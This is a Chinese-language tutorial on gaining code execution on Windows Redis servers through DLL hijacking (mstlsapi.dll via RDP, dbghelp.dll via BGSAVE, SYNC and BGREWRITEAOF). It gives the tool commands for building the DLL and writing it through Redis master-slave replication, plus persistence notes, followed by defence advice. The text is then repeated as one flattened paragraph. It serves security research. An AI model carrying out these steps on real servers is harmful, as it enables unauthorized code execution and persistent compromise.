Redis on Windows 出网利用探索
字数 1934 2025-08-20 18:17:41

Redis on Windows 出网利用探索 - 详细教学文档

1. 前言

本文详细讲解在Windows环境下Redis服务的DLL劫持利用技术,特别是针对Redis自身命令触发的DLL劫持场景。与传统的DLL劫持技术不同,本文重点探索Redis服务自身命令执行过程中触发的DLL加载行为,实现主动触发的利用方式。

2. 环境准备

2.1 目标环境

  • 操作系统: Windows Server 2012
  • Redis版本: 3.2.100
  • 权限要求: Administrator或Network Service
  • 开放端口: 80(IIS), 3389(RDP), 6379(Redis)

2.2 工具准备

  • Procmon (进程监视工具)
  • DLLHijacker.py (DLL劫持项目生成工具)
  • RedisWriteFile.py (Redis文件写入工具)
  • Visual Studio (编译劫持DLL)

3. 传统利用方法回顾

在Windows环境下Redis的常见利用方法包括:

  1. 写Webshell
  2. 修改启动项(Startup)
  3. DLL劫持与篡改
  4. MOF文件利用

4. RDP服务的DLL劫持利用

4.1 发现过程

使用Procmon监视RDP连接过程,发现mstlsapi.dll加载失败的情况。该DLL与RDP证书加密相关。

4.2 劫持步骤

  1. 使用DLLHijacker.py生成劫持项目:
    python3 DLLHijacker.py mstlsapi.dll
    
  2. 生成的VS项目会自动转发所有导出函数(约106个)
  3. 修改项目中的原DLL路径为写入路径(如C:\Users\Public\Downloads\mstlsapi.dll)
  4. 编译生成劫持DLL

4.3 文件写入

使用Redis主从复制写入文件:

python3 RedisWriteFile.py --rhost=192.168.56.140 --rport=6379 \
--lhost=192.168.56.1 --rpath="C:\Windows" \
--rfile="mstlsapi.dll" --lfile="/tmp/mstlsapiJ.dll"

4.4 注意事项

  • 劫持DLL需要与原DLL同时存在
  • 需在Hijack函数后执行FreeLibrary,避免只能触发一次
  • Shellcode执行应避免阻塞DLL加载过程

5. Redis自身命令的DLL劫持

5.1 发现过程

通过Procmon监视Redis命令执行,发现以下命令会触发DLL加载:

  • SYNC/PSYNC (主从复制)
  • BGSAVE (后台保存)
  • BGREWRITEAOF (AOF重写)

特别是dbghelp.dll的加载行为,由于不在KnownDLLs列表中,会优先从Redis安装目录加载。

5.2 利用条件

  • Redis安装目录(如C:\Program Files\Redis)有写入权限
  • Network Service用户默认拥有该目录完全控制权限

5.3 利用步骤

  1. 使用DLLHijacker.py生成dbghelp.dll劫持项目
  2. 修改原DLL路径为C:\Windows\System32\dbghelp.dll
  3. 编译生成劫持DLL
  4. 通过Redis写入安装目录
  5. 执行以下任一命令触发:
    BGSAVE
    SYNC
    BGREWRITEAOF
    

5.4 持久化效果

  • Redis服务重启后会重新加载劫持DLL
  • 伴随持久化操作自动触发

6. 防御建议

  1. 在加载DLL时使用绝对路径
  2. 调用SetDllDirectory(L"")排除当前目录
  3. 使用LoadLibraryEx并指定LOAD_LIBRARY_SEARCH系列标志
  4. 验证DLL的合法性和数字签名
  5. 限制Redis安装目录的写入权限

7. 测试验证环境

已验证的环境包括:

  • Windows Server 2012 / Redis 3.2.100
  • Windows 7 / Redis 3.0.504
  • Windows Server 2008 / Redis 2.8.2103

8. 补充说明

  1. 主从复制可能导致数据清空问题,可使用redis-dump-go工具解决
  2. 不同Windows版本的dbghelp.dll存在差异,建议使用同版本DLL
  3. 该利用依赖主从复制写文件能力,公网利用需目标出网

9. 参考资源

  1. Redis官方文档: https://redis.io/
  2. DLL劫持技术详解: https://kiwings.github.io/2019/04/04/th-DLL劫持/
  3. Redis主从复制原理: https://juejin.im/post/6844903943764443149
  4. Redis持久化机制: https://juejin.im/post/6844903939339452430
  5. Redis-Windows DLL劫持: https://jkme.github.io/redis-on-windows-dll-hijack.html

通过本文介绍的方法,安全研究人员可以更全面地评估Windows环境下Redis服务的安全风险,并采取相应的防护措施。

Redis on Windows 出网利用探索 - 详细教学文档 1. 前言 本文详细讲解在Windows环境下Redis服务的DLL劫持利用技术,特别是针对Redis自身命令触发的DLL劫持场景。与传统的DLL劫持技术不同,本文重点探索Redis服务自身命令执行过程中触发的DLL加载行为,实现主动触发的利用方式。 2. 环境准备 2.1 目标环境 操作系统: Windows Server 2012 Redis版本: 3.2.100 权限要求: Administrator或Network Service 开放端口: 80(IIS), 3389(RDP), 6379(Redis) 2.2 工具准备 Procmon (进程监视工具) DLLHijacker.py (DLL劫持项目生成工具) RedisWriteFile.py (Redis文件写入工具) Visual Studio (编译劫持DLL) 3. 传统利用方法回顾 在Windows环境下Redis的常见利用方法包括: 写Webshell 修改启动项(Startup) DLL劫持与篡改 MOF文件利用 4. RDP服务的DLL劫持利用 4.1 发现过程 使用Procmon监视RDP连接过程,发现 mstlsapi.dll 加载失败的情况。该DLL与RDP证书加密相关。 4.2 劫持步骤 使用DLLHijacker.py生成劫持项目: 生成的VS项目会自动转发所有导出函数(约106个) 修改项目中的原DLL路径为写入路径(如 C:\Users\Public\Downloads\mstlsapi.dll ) 编译生成劫持DLL 4.3 文件写入 使用Redis主从复制写入文件: 4.4 注意事项 劫持DLL需要与原DLL同时存在 需在Hijack函数后执行FreeLibrary,避免只能触发一次 Shellcode执行应避免阻塞DLL加载过程 5. Redis自身命令的DLL劫持 5.1 发现过程 通过Procmon监视Redis命令执行,发现以下命令会触发DLL加载: SYNC/PSYNC (主从复制) BGSAVE (后台保存) BGREWRITEAOF (AOF重写) 特别是 dbghelp.dll 的加载行为,由于不在KnownDLLs列表中,会优先从Redis安装目录加载。 5.2 利用条件 Redis安装目录(如 C:\Program Files\Redis )有写入权限 Network Service用户默认拥有该目录完全控制权限 5.3 利用步骤 使用DLLHijacker.py生成dbghelp.dll劫持项目 修改原DLL路径为 C:\Windows\System32\dbghelp.dll 编译生成劫持DLL 通过Redis写入安装目录 执行以下任一命令触发: 5.4 持久化效果 Redis服务重启后会重新加载劫持DLL 伴随持久化操作自动触发 6. 防御建议 在加载DLL时使用绝对路径 调用 SetDllDirectory(L"") 排除当前目录 使用 LoadLibraryEx 并指定 LOAD_LIBRARY_SEARCH 系列标志 验证DLL的合法性和数字签名 限制Redis安装目录的写入权限 7. 测试验证环境 已验证的环境包括: Windows Server 2012 / Redis 3.2.100 Windows 7 / Redis 3.0.504 Windows Server 2008 / Redis 2.8.2103 8. 补充说明 主从复制可能导致数据清空问题,可使用 redis-dump-go 工具解决 不同Windows版本的 dbghelp.dll 存在差异,建议使用同版本DLL 该利用依赖主从复制写文件能力,公网利用需目标出网 9. 参考资源 Redis官方文档: https://redis.io/ DLL劫持技术详解: https://kiwings.github.io/2019/04/04/th-DLL劫持/ Redis主从复制原理: https://juejin.im/post/6844903943764443149 Redis持久化机制: https://juejin.im/post/6844903939339452430 Redis-Windows DLL劫持: https://jkme.github.io/redis-on-windows-dll-hijack.html 通过本文介绍的方法,安全研究人员可以更全面地评估Windows环境下Redis服务的安全风险,并采取相应的防护措施。